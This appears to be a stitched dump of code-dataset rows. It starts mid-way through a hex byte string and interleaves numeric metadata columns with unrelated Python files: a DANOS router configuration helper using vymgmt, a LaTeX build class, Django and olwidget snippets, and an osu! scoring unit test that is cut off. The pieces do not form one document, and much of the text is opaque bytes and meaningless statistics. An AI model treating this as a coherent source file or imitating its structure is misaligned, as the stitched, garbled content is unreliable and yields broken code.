xa6\x3f\x00\x16\x98\xf8\xae\x95\xde\x75\x13\x3e\xea\xea\x39\x84\xc6\x77\x07\x36\x9d\x4b\xe5\x40\x15\x41\x08\x48\xce\xff\xe0\xbc\x26\x5b\x92\xe6\x52\x5a\xcb\x38\x45\xd4\xce\x32\xdb\x57\x4c\xce\x30\xa9\xe7\xf6\xd2\x10\x2c\x10\xd5\xf0\x91\x5e\x62\x79\x3b\x79\x5c\x6f\x7d\x4c\x33\x53\x67\xca\x15\xfc\x04\x24\x2c\x79\x19\x26\x4c\x8f\x16\xa2\xaa\x11\xe3\x06\x4f\x45\x53\xfb\xbb\xcf\x0c\xd5\x83\xaa\x55\xf7\x90\x46\x5f\xc6\xd9\x76\xc2\xe7\x34\xc2\x67\x78\x29\x1a\xf0\x75\xf8\xc6\x5f\x16\x99\x13\x98\xe7\x0b\xee\x1f\x3e\xb9\x4e\x3f\xc0\x1e\x78\xa0\xf8\x9b\x00\x41\x55\x1d\x19\x03\x4a\xaa\x41\xa1\x8d\x7e\xf0\x9d\xc0\xc0\x65\x7e\xcf\x05\x20\xf6\xf4\xe6\x9c\x6a\xdc\x1c\x0a\x5e\xc5\x52\xfb\x17\x88\x22\x97\xfd\x62\xbf\x3f\x4b\x23\x3d\xde\xde\x64\xa3\xe3\x4b\x1f\xbd\x53\x6c\xbc\x08\x9a\x92\x97\x5f\xee\x46\xa6\x0e\x49\x49\x3e\xf6\xcf\xa9\x73\xab\xf0\x33\x7f\xe9\xf5\x1c\xb5\xe5\xf4\xff\x5d\x69\x58\xa6\x5c\x9a\x59\x7f\xbb\x1d\x59\x8d\x26\xde\x42\x30\x65\xfc\x0e\x7f\xd0\x79\x41\xc9\x38\x44\x94\x4d\x36\x55\x51\xa7\x9a\x81\x6f\xa7\xf6\xb0\x0a\xa7\xb3\x86\xa3\xc8\x31\x89\x23\x64\x43\xe4\x6b\xd1\xcf\x44\x9a\x93\x3e\x1f\xb8\x89\xab\xbc\x57\xa4\x85\x93\x30\x6f\x4a\x5f\xd0\x29\xf2\x00\x52\x07\xf8\x69\x6e\x92\x08\x9d\xde\x46\x76\xbb\x60\x81\x5a\xb2\xaa\x12\xe5\xdb\x5f\x51\x78\xdf\x1c\xcc\x3f\xe8\xa5\xc5\xd3\x37\x7a\xe8\x07\xbe\xec\x36\xba\xca\xec\xba\x19\xa8\x91\x6e\x6f\xda\x5f\xc5\x54\x63\x56\xfb\xb0\x39\x00\xbf\x53\xb7\x76\xe0\x28\x36\x77\x35\xbc\x22\x2b\x54\xe9\xaa\xb7\x47\xba\x3c\xfa\x93\xcf\x7b\x60\x6c\x51\xf8\x95\xe9\xb4\xf9\xb6\xfb\xe6\x66\xfd\x99\xcd\xb2\xf0\x30\x6c\x5f\x86\x75\xa2\xd8\xb0\x34\xd0\xfd\x60\xfa\xd2\xdb\x98\x0f\xbe\x92\xcd\xe5\x0c\x12\x14\x5d\x4a\xb1\xec\x69\x2f\xc6\xc9\xff\xfa\x49\x06\xb6\xb8\x64\x52\xd1\x94\x7a\x1c\x06\x9c\xaf\x2d\x72\x56\xf7\x55\xea\x8d\x58\x52\xf7\xf1\x53\xa3\xb9\x1e\xf3\x61\xab\x87\x0c\x77\xe1\xe9\xb8\xba\xc4\x75\xf7\xff\x0e\xf7\x8e\x7c\xf3\x8f\xf7\x6c\xc5\xa6\xb0\x87\xa6\xa3\xf9\xe8\x37\xf2\x34\x87\x2d\x99\x5e\x12\xb9\x75\xa9\x6a\x4d\x62\xf1\x01\xe8\x5a\x92\xe9\xb2\x78\xd3\x13\xcc\x10\xd1\x20\x11\x51\x31\xdb\xb7\x40\xce\x33\x3d\xd6\x62\xd9\x32\x97\x8b\x56\x4b\xee\xc6\xeb\x2f\x1d\xdb\x59\x5a\x41\x5e\xb7\xb2\x7b\x29\x00\x66\x15\xb4\x2b\x87\x52\x1f\x60\xc9\x0d\x5f\x87\x63\x15\x83\x51\xb5\x7f\x63\xc9\x56\x83\x32\x64\x0b\x04\x7c\xd3\xe8\x1f\xa7\xf4\xfb\xca\x4f\xd0\x93\x3b\x7d\x76\x0b\x0e\x93\x3a\xb0\xf2\xfd\x71\xe0\xeb\xc2\x35\xc8\xf6\xd5\xaf\xee\x1e\xfd\x85\x63\x55\xba\xd3\x9e\xd7\x37\x4b\x91\xec\x41\x50\x25\x8a\x67\x17\x1a\x84\x6f\x28\xf0\x76\x72\xfd\xcb\x1c\x75\xe8\xbc\x90\x94\x5a\x4c\x6a\xd6\x7c\x3e\x0f\x6f\x21\xeb\x5d\x28\x64\x71\x04\x01\x9f\x95\xf6\x22\xab\x87\xbb\x32\x35\x53\x96\xde\x80\x2b\xe1\xaa\xc8\x86\x87\x93\x46\x64\x8d\x24\x0e\xd1\x8f\x7b\x2e\x68\x40\xda\xee\x69\xbb\xb9\x64\x58\xf0\x8b\x04\x77\x27\xd6\xca\x9c\xfc\x8c\x6f\x52\x86\x8c\x8a\xbe\xd6\x56\xa6\x85\x0a\x9b\x3b\x12\x40\xe7\xbf\x18\x65\x1b\x6b\xee\x8e\x01\xf4\x3b\xdf\xfd\x18\xb8\x9b\x41\xcd\x00\xd0\x86\xe2\xdf', 2)
| 21,015
| 21,015
| 0.749988
| 5,249
| 21,015
| 3.000381
| 0.049724
| 0.008762
| 0.009143
| 0.008381
| 0.00381
| 0.002857
| 0.002857
| 0
| 0
| 0
| 0
| 0.312869
| 0.000143
| 21,015
| 1
| 21,015
| 21,015
| 0.436655
| 0
| 0
| 0
| 0
| 1
| 0.998097
| 0.998097
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
2936f6b9ce3b201818db890c39ed4ad5a989b2d7
| 246
|
py
|
Python
|
src/utils/tensorboard.py
|
xmuyzz/IVContrast
|
f3100e54f1808e1a796acd97ef5d23d0a2fd4f6c
|
[
"MIT"
] | 3
|
2022-02-23T09:05:45.000Z
|
2022-02-23T20:18:18.000Z
|
src/utils/tensorboard.py
|
xmuyzz/IVContrast
|
f3100e54f1808e1a796acd97ef5d23d0a2fd4f6c
|
[
"MIT"
] | null | null | null |
src/utils/tensorboard.py
|
xmuyzz/IVContrast
|
f3100e54f1808e1a796acd97ef5d23d0a2fd4f6c
|
[
"MIT"
] | null | null | null |
#log_path ='/media/bhkann/HN_RES1/HN_CONTRAST/log/train/events.out.tfevents.1624041416.bhkann-hpc1.862300.3087.v2'
#tensorboard --logdir='/media/bhkann/HN_RES1/HN_CONTRAST/log/train/events.out.tfevents.1624041416.bhkann-hpc1.862300.3087.v2'
| 30.75
| 125
| 0.800813
| 38
| 246
| 5.052632
| 0.473684
| 0.114583
| 0.135417
| 0.177083
| 0.875
| 0.875
| 0.875
| 0.875
| 0.875
| 0.875
| 0
| 0.194093
| 0.036585
| 246
| 7
| 126
| 35.142857
| 0.616034
| 0.963415
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
29430b40e2df289fd7a5794dfde6c12e49107367
| 36
|
py
|
Python
|
python/niveau1/3-CalculsEtDecouverteDesVariables/3.py
|
ThomasProg/France-IOI
|
03ea502e03f686d74ecf31a17273aded7b8e8a1f
|
[
"MIT"
] | 2
|
2022-02-13T13:35:13.000Z
|
2022-03-31T21:02:11.000Z
|
python/niveau1/3-CalculsEtDecouverteDesVariables/3.py
|
ThomasProg/France-IOI
|
03ea502e03f686d74ecf31a17273aded7b8e8a1f
|
[
"MIT"
] | null | null | null |
python/niveau1/3-CalculsEtDecouverteDesVariables/3.py
|
ThomasProg/France-IOI
|
03ea502e03f686d74ecf31a17273aded7b8e8a1f
|
[
"MIT"
] | 1
|
2020-11-15T15:21:24.000Z
|
2020-11-15T15:21:24.000Z
|
print(((25 + 30 + 27 + 22) - 8) * 3)
| 36
| 36
| 0.416667
| 7
| 36
| 2.142857
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.384615
| 0.277778
| 36
| 1
| 36
| 36
| 0.192308
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
4647775b006014dd2131a7e9cdc55a28b1e53c0b
| 4,260
|
py
|
Python
|
Test_Automation/library/danos_cli.py
|
dineshbhattahm/tests
|
7ad7811710c65771b045f2210b3b7e29200e9a45
|
[
"BSD-3-Clause"
] | null | null | null |
Test_Automation/library/danos_cli.py
|
dineshbhattahm/tests
|
7ad7811710c65771b045f2210b3b7e29200e9a45
|
[
"BSD-3-Clause"
] | 2
|
2020-07-07T11:45:20.000Z
|
2022-03-11T16:47:02.000Z
|
Test_Automation/library/danos_cli.py
|
dineshbhattahm/tests
|
7ad7811710c65771b045f2210b3b7e29200e9a45
|
[
"BSD-3-Clause"
] | 3
|
2020-05-22T12:54:51.000Z
|
2022-03-24T23:06:05.000Z
|
#!/usr/bin/python3
# * Copyright (c) 2020-2021, Happiest Minds Technologies Limited Intellectual Property. All rights reserved.
# *
# * SPDX-License-Identifier: LGPL-2.1-only
import time
import vymgmt
def config_set(ip, user, ps, cmd):
handle = vymgmt.Router(ip, user, password=ps, port=22)
handle.login()
handle.configure()
handle.set(cmd)
handle.commit()
handle.save()
handle.exit()
handle.logout()
def config_show_service(ip, user, ps, cmd):
handle = vymgmt.Router(ip, user, password=ps, port=22)
handle.login()
handle.configure()
out = handle.run_conf_mode_command(cmd)
handle.exit()
handle.logout()
output = out.split("\n")
output2 = ''.join([str(elem) for elem in output])
return output2
def config_delete(ip, user, ps, cmd):
handle = vymgmt.Router(ip, user, password=ps, port=22)
handle.login()
handle.configure()
handle.delete(cmd)
handle.commit()
handle.save()
handle.exit()
handle.logout()
def show_command(ip, user, ps, cmd):
handle = vymgmt.Router(ip, user, password=ps, port=22)
handle.login()
out = handle.run_op_mode_command(cmd)
handle.exit()
handle.logout()
output = out.split("\n")
#output2 = ''.join([str(elem) for elem in output])
return output
def config_ipsecvpn(ip, user, ps, cmd):
handle = vymgmt.Router(ip, user, password=ps, port=22)
handle.login()
handle.configure()
for line in cmd:
print(line)
handle.set(line)
handle.commit()
handle.save()
handle.exit()
handle.logout()
def config_mplsldp(ip, user, ps, cmd):
handle = vymgmt.Router(ip, user, password=ps, port=22)
handle.login()
handle.configure()
for line in cmd:
print(line)
handle.set(line)
handle.commit()
handle.save()
handle.exit()
handle.logout()
def config(ip, user, ps, cmd):
handle = vymgmt.Router(ip, user, password=ps, port=22)
handle.login()
handle.configure()
for line in cmd:
print(line)
handle.set(line)
handle.commit()
handle.save()
handle.exit()
handle.logout()
def apply_rule(ip, user, ps, iface, rule, cmd):
command = cmd.replace('INTERFACE',iface).replace('RULE',rule)
handle = vymgmt.Router(ip, user, password=ps, port=22)
handle.login()
handle.configure()
handle.set(command)
handle.commit()
handle.save()
handle.exit()
handle.logout()
def delete_rule(ip, user, ps, iface, rule, cmd):
command = cmd.replace('INTERFACE',iface).replace('RULE',rule)
handle = vymgmt.Router(ip, user, password=ps, port=22)
handle.login()
handle.configure()
handle.delete(command)
handle.commit()
handle.save()
handle.exit()
handle.logout()
def config_show_ipsecvpn(ip, user, ps, cmd):
handle = vymgmt.Router(ip, user, password=ps, port=22)
handle.login()
handle.configure()
out = handle.run_conf_mode_command(cmd)
handle.exit()
handle.logout()
output = out.split("\n")
return output
def config_show_mplsldp(ip, user, ps, cmd):
handle = vymgmt.Router(ip, user, password=ps, port=22)
handle.login()
handle.configure()
out = handle.run_conf_mode_command(cmd)
handle.exit()
handle.logout()
output = out.split("\n")
return output
def config_show(ip, user, ps, cmd):
handle = vymgmt.Router(ip, user, password=ps, port=22)
handle.login()
handle.configure()
out = handle.run_conf_mode_command(cmd)
handle.exit()
handle.logout()
output = out.split("\n")
return output
def sendping(ip, user, ps, vpnip):
c1='sudo killall -9 ping'
cmd='sudo ping -c30 ' + vpnip + ' > /dev/null 2>&1 &'
handle = vymgmt.Router(ip, user, password=ps, port=22)
handle.login()
handle.run_op_mode_command(c1)
out = handle.run_op_mode_command(cmd)
handle.exit()
handle.logout()
def capture_traffic(ip, user, ps, iface):
cmd='sudo timeout 5 tcpdump -i ' + iface
handle = vymgmt.Router(ip, user, password=ps, port=22)
handle.login()
out = handle.run_op_mode_command(cmd)
handle.exit()
handle.logout()
output = out.split("\n")
return output
def pr(st):
for line in st:
print(line)
| 26.625
| 108
| 0.641549
| 582
| 4,260
| 4.628866
| 0.154639
| 0.062361
| 0.041574
| 0.103935
| 0.859317
| 0.852264
| 0.852264
| 0.852264
| 0.852264
| 0.852264
| 0
| 0.014925
| 0.213615
| 4,260
| 159
| 109
| 26.792453
| 0.789254
| 0.050704
| 0
| 0.798561
| 0
| 0
| 0.029215
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.107914
| false
| 0.100719
| 0.014388
| 0
| 0.165468
| 0.028777
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
4677def8d311e70c75e6d392fdb04cddf6cb9e00
| 1,061
|
py
|
Python
|
ninjaopenfoam/pdflatex.py
|
hertzsprung/ninjaopenfoam
|
bd33635c5a34c80728255f99aaaac0b2d208f916
|
[
"MIT"
] | null | null | null |
ninjaopenfoam/pdflatex.py
|
hertzsprung/ninjaopenfoam
|
bd33635c5a34c80728255f99aaaac0b2d208f916
|
[
"MIT"
] | null | null | null |
ninjaopenfoam/pdflatex.py
|
hertzsprung/ninjaopenfoam
|
bd33635c5a34c80728255f99aaaac0b2d208f916
|
[
"MIT"
] | null | null | null |
import os
class PDFLaTeX:
def __init__(self, name, output, document, components=[]):
self.name = name
self.output = os.path.join('$builddir', output + '.pdf')
self.document = document + '.tex'
self.components = components
def write(self, generator):
generator.w.build(
self.output,
'pdflatex',
self.document,
implicit=self.components)
def outputs(self):
return [self.output]
def __str__(self):
return self.name
class PDFLaTeXFigure:
def __init__(self, name, output, figure, components=[]):
self.name = name
self.output = os.path.join('$builddir', output + '.pdf')
self.figure = figure + '.tex'
self.components = components
def write(self, generator):
generator.w.build(
self.output,
'pdflatex-figure',
self.figure,
implicit=self.components)
def outputs(self):
return [self.output]
def __str__(self):
return self.name
| 25.261905
| 64
| 0.573044
| 111
| 1,061
| 5.333333
| 0.234234
| 0.081081
| 0.094595
| 0.050676
| 0.814189
| 0.743243
| 0.743243
| 0.743243
| 0.743243
| 0.743243
| 0
| 0
| 0.309142
| 1,061
| 41
| 65
| 25.878049
| 0.80764
| 0
| 0
| 0.666667
| 0
| 0
| 0.053723
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.242424
| false
| 0
| 0.030303
| 0.121212
| 0.454545
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 8
|
d3d8ac871a055f2b9678b68191695713432c2392
| 85
|
py
|
Python
|
navutils/context_processors.py
|
ohrstrom/django-navutils
|
0d64f1f147b03888f8db1c95412f73fd94ba8454
|
[
"BSD-3-Clause"
] | 42
|
2015-05-21T00:09:30.000Z
|
2020-09-25T00:53:06.000Z
|
navutils/context_processors.py
|
ohrstrom/django-navutils
|
0d64f1f147b03888f8db1c95412f73fd94ba8454
|
[
"BSD-3-Clause"
] | 12
|
2015-09-29T10:39:49.000Z
|
2020-10-16T11:08:59.000Z
|
navutils/context_processors.py
|
ohrstrom/django-navutils
|
0d64f1f147b03888f8db1c95412f73fd94ba8454
|
[
"BSD-3-Clause"
] | 11
|
2015-05-27T21:15:46.000Z
|
2020-06-21T01:14:25.000Z
|
from . import menu
def menus(*args, **kwargs):
return {'menus': menu.registry}
| 14.166667
| 35
| 0.647059
| 11
| 85
| 5
| 0.818182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.188235
| 85
| 5
| 36
| 17
| 0.797101
| 0
| 0
| 0
| 0
| 0
| 0.058824
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
3114113cf473cf521b9678941d0826267f15149c
| 239
|
py
|
Python
|
django-olwidget/olwidget/__init__.py
|
WildlifeConservationSocietyCI/olwidget
|
13be6b4ceb04369c6fa278525ab273722d0b96f0
|
[
"BSD-3-Clause"
] | 1
|
2018-09-05T13:38:51.000Z
|
2018-09-05T13:38:51.000Z
|
django-olwidget/olwidget/__init__.py
|
WildlifeConservationSocietyCI/olwidget
|
13be6b4ceb04369c6fa278525ab273722d0b96f0
|
[
"BSD-3-Clause"
] | null | null | null |
django-olwidget/olwidget/__init__.py
|
WildlifeConservationSocietyCI/olwidget
|
13be6b4ceb04369c6fa278525ab273722d0b96f0
|
[
"BSD-3-Clause"
] | null | null | null |
import copy
import django.utils
import json
import sys
sys.modules["django.utils"].copycompat = copy
sys.modules["django.utils.copycompat"] = copy
sys.modules["django.utils"].simplejson = json
sys.modules["django.utils.simplejson"] = json
| 26.555556
| 45
| 0.778243
| 33
| 239
| 5.636364
| 0.272727
| 0.295699
| 0.344086
| 0.451613
| 0.752688
| 0.752688
| 0.489247
| 0.489247
| 0.489247
| 0.489247
| 0
| 0
| 0.083682
| 239
| 8
| 46
| 29.875
| 0.849315
| 0
| 0
| 0
| 0
| 0
| 0.292887
| 0.192469
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
3115e2ea27653d7bf04342dc5fc67b2e41d859d7
| 23,149
|
py
|
Python
|
unit_tests/test_std_score_data_release.py
|
abraker-osu/osu_analyzer
|
f930b1e75d1c4c973dfa49fdab2afedb2a432e31
|
[
"MIT"
] | null | null | null |
unit_tests/test_std_score_data_release.py
|
abraker-osu/osu_analyzer
|
f930b1e75d1c4c973dfa49fdab2afedb2a432e31
|
[
"MIT"
] | null | null | null |
unit_tests/test_std_score_data_release.py
|
abraker-osu/osu_analyzer
|
f930b1e75d1c4c973dfa49fdab2afedb2a432e31
|
[
"MIT"
] | null | null | null |
import unittest
import pandas as pd
from analysis.std.map_data import StdMapData
from analysis.std.score_data import StdScoreData
class TestStdScoreDataRelease(unittest.TestCase):
@classmethod
def setUpClass(cls):
map_data = [
pd.DataFrame(
[
[ 100, 0, 0, StdMapData.TYPE_PRESS, StdMapData.TYPE_SLIDER ],
[ 350, 100, 0, StdMapData.TYPE_HOLD, StdMapData.TYPE_SLIDER ],
[ 600, 200, 0, StdMapData.TYPE_HOLD, StdMapData.TYPE_SLIDER ],
[ 750, 300, 0, StdMapData.TYPE_RELEASE, StdMapData.TYPE_SLIDER ],
],
columns=['time', 'x', 'y', 'type', 'object']),
pd.DataFrame(
[
[ 1000, 500, 500, StdMapData.TYPE_PRESS, StdMapData.TYPE_CIRCLE ],
[ 1001, 500, 500, StdMapData.TYPE_RELEASE, StdMapData.TYPE_CIRCLE ],
],
columns=['time', 'x', 'y', 'type', 'object']),
pd.DataFrame(
[
[ 2000, 300, 300, StdMapData.TYPE_PRESS, StdMapData.TYPE_CIRCLE ],
[ 2001, 300, 300, StdMapData.TYPE_RELEASE, StdMapData.TYPE_CIRCLE ],
],
columns=['time', 'x', 'y', 'type', 'object']),
]
cls.map_data = pd.concat(map_data, axis=0, keys=range(len(map_data)), names=[ 'hitobject', 'aimpoint' ])
@classmethod
def tearDown(cls):
pass
def test_slider_start_release_misaim(self):
settings = StdScoreData.Settings()
# Set hitwindow ranges to what these tests have been written for
settings.pos_hit_range = 300 # ms point of late hit window
settings.neg_hit_range = 300 # ms point of early hit window
settings.pos_hit_miss_range = 450 # ms point of late miss window
settings.neg_hit_miss_range = 450 # ms point of early miss window
settings.pos_rel_range = 500 # ms point of late release window
settings.neg_rel_range = 500 # ms point of early release window
settings.pos_rel_miss_range = 1000 # ms point of late release window
settings.neg_rel_miss_range = 1000 # ms point of early release window
# Time: 0 ms -> 3000 ms
# Location: Blank area (1000, 1000)
# Scoring: Awaiting press at slider start (100 ms @ (0, 0))
# Behavior:
# Scorepoint awaits PRESS -> NOP
# -> NOP
for ms in range(0, 3000):
score_data = {}
adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data, ms, 1000, 1000)
offset = ms - self.map_data.iloc[0]['time']
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
def test_slider_start_release_nomisaim(self):
settings = StdScoreData.Settings()
# Set hitwindow ranges to what these tests have been written for
settings.pos_hit_range = 300 # ms point of late hit window
settings.neg_hit_range = 300 # ms point of early hit window
settings.pos_hit_miss_range = 450 # ms point of late miss window
settings.neg_hit_miss_range = 450 # ms point of early miss window
settings.pos_rel_range = 500 # ms point of late release window
settings.neg_rel_range = 500 # ms point of early release window
settings.pos_rel_miss_range = 1000 # ms point of late release window
settings.neg_rel_miss_range = 1000 # ms point of early release window
# Time: 0 ms -> 3000 ms
# Location: At slider start (0, 0)
# Scoring: Awaiting press at slider start (100 ms @ (0, 0))
# Behavior:
# Scorepoint awaits PRESS -> NOP
# -> NOP
for ms in range(0, 3000):
score_data = {}
adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data, ms, 0, 0)
offset = ms - self.map_data.iloc[0]['time']
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
def test_slider_aimpoint_nomisaim_release_recoverable(self):
settings = StdScoreData.Settings()
settings.recoverable_release = True
# Set hitwindow ranges to what these tests have been written for
settings.pos_hit_range = 300 # ms point of late hit window
settings.neg_hit_range = 300 # ms point of early hit window
settings.pos_hit_miss_range = 450 # ms point of late miss window
settings.neg_hit_miss_range = 450 # ms point of early miss window
settings.pos_rel_range = 500 # ms point of late release window
settings.neg_rel_range = 500 # ms point of early release window
settings.pos_rel_miss_range = 1000 # ms point of late release window
settings.neg_rel_miss_range = 1000 # ms point of early release window
# Time: 0 ms -> 3000 ms
# Location: At first slider aimpoint (100, 0)
# Scoring: Awaiting hold at slider aimpoint (350 ms @ (100, 0))
# Behavior:
# Scorepoint awaits HOLD -> NOP
# -> NOP
for ms in range(0, 3000):
score_data = {}
adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[1:], ms, 100, 0)
offset = ms - self.map_data.iloc[1]['time']
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
def test_slider_aimpoint_release__norecoverable(self):
settings = StdScoreData.Settings()
settings.recoverable_release = False
# Set hitwindow ranges to what these tests have been written for
settings.pos_hit_range = 300 # ms point of late hit window
settings.neg_hit_range = 300 # ms point of early hit window
settings.pos_hit_miss_range = 450 # ms point of late miss window
settings.neg_hit_miss_range = 450 # ms point of early miss window
settings.pos_rel_range = 500 # ms point of late release window
settings.neg_rel_range = 500 # ms point of early release window
settings.pos_rel_miss_range = 1000 # ms point of late release window
settings.neg_rel_miss_range = 1000 # ms point of early release window
# Time: 0 ms -> 3000 ms
# Location: At first slider aimpoint (100, 0)
# Scoring: Awaiting hold at slider aimpoint (350 ms @ (100, 0))
# Behavior:
# Release early -> MISS
# Release late -> NOP
for ms in range(0, 3000):
score_data = {}
adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[1:], ms, 100, 0)
offset = ms - self.map_data.iloc[1]['time']
if offset < 0:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOTE, f'Offset: {offset} ms')
self.assertEqual(score_data[0][6], StdScoreData.TYPE_MISS, f'Offset: {offset} ms')
else:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
StdScoreData.recoverable_release = True
def test_slider_end_release_misaim__range_window_miss(self):
settings = StdScoreData.Settings()
settings.release_range = True
settings.release_window = True
settings.release_miss = True
# Set hitwindow ranges to what these tests have been written for
settings.pos_hit_range = 300 # ms point of late hit window
settings.neg_hit_range = 300 # ms point of early hit window
settings.pos_hit_miss_range = 450 # ms point of late miss window
settings.neg_hit_miss_range = 450 # ms point of early miss window
settings.pos_rel_range = 500 # ms point of late release window
settings.neg_rel_range = 500 # ms point of early release window
settings.pos_rel_miss_range = 1000 # ms point of late release window
settings.neg_rel_miss_range = 1000 # ms point of early release window
# Time: 0 ms -> 3000 ms
# Location: Blank area (1000, 1000)
# Scoring: Awaiting release at slider end (750 ms @ (300, 0))
# Behavior:
# Scorepoint awaits release -> ok
# Cursor is NOT within press scorepoint range -> NOP
# -> NOP
for ms in range(0, 3000):
score_data = {}
adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[3:], ms, 1000, 1000)
offset = ms - self.map_data.iloc[3]['time']
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
def test_slider_end_release_misaim__norange_window_miss(self):
settings = StdScoreData.Settings()
settings.release_range = False
settings.release_window = True
settings.release_miss = True
# Set hitwindow ranges to what these tests have been written for
settings.pos_hit_range = 300 # ms point of late hit window
settings.neg_hit_range = 300 # ms point of early hit window
settings.pos_hit_miss_range = 450 # ms point of late miss window
settings.neg_hit_miss_range = 450 # ms point of early miss window
settings.pos_rel_range = 500 # ms point of late release window
settings.neg_rel_range = 500 # ms point of early release window
settings.pos_rel_miss_range = 1000 # ms point of late release window
settings.neg_rel_miss_range = 1000 # ms point of early release window
# Time: 0 ms -> 3000 ms
# Location: Blank area (1000, 1000)
# Scoring: Awaiting release at slider end (750 ms @ (300, 0))
# Behavior:
# Scorepoint awaits release -> ok
# Cursor is NOT within press scorepoint range -> NOP
# -> NOP
for ms in range(0, 3000):
score_data = {}
adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[3:], ms, 1000, 1000)
offset = ms - self.map_data.iloc[3]['time']
if offset <= -settings.neg_rel_miss_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
elif -settings.neg_rel_miss_range < offset <= -settings.neg_rel_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOTE, f'Offset: {offset} ms')
self.assertEqual(score_data[0][6], StdScoreData.TYPE_MISS, f'Offset: {offset} ms')
elif -settings.neg_rel_range < offset <= settings.pos_rel_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_AIMP, f'Offset: {offset} ms')
self.assertEqual(score_data[0][6], StdScoreData.TYPE_HITR, f'Offset: {offset} ms')
elif settings.pos_rel_range < offset <= settings.pos_rel_miss_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOTE, f'Offset: {offset} ms')
self.assertEqual(score_data[0][6], StdScoreData.TYPE_MISS, f'Offset: {offset} ms')
elif settings.pos_rel_miss_range < offset:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
else:
self.fail('Testing error!')
def test_slider_end_release_nomisaim__range_window_miss(self):
settings = StdScoreData.Settings()
settings.release_range = True
settings.release_window = True
settings.release_miss = True
# Set hitwindow ranges to what these tests have been written for
settings.pos_hit_range = 300 # ms point of late hit window
settings.neg_hit_range = 300 # ms point of early hit window
settings.pos_hit_miss_range = 450 # ms point of late miss window
settings.neg_hit_miss_range = 450 # ms point of early miss window
settings.pos_rel_range = 500 # ms point of late release window
settings.neg_rel_range = 500 # ms point of early release window
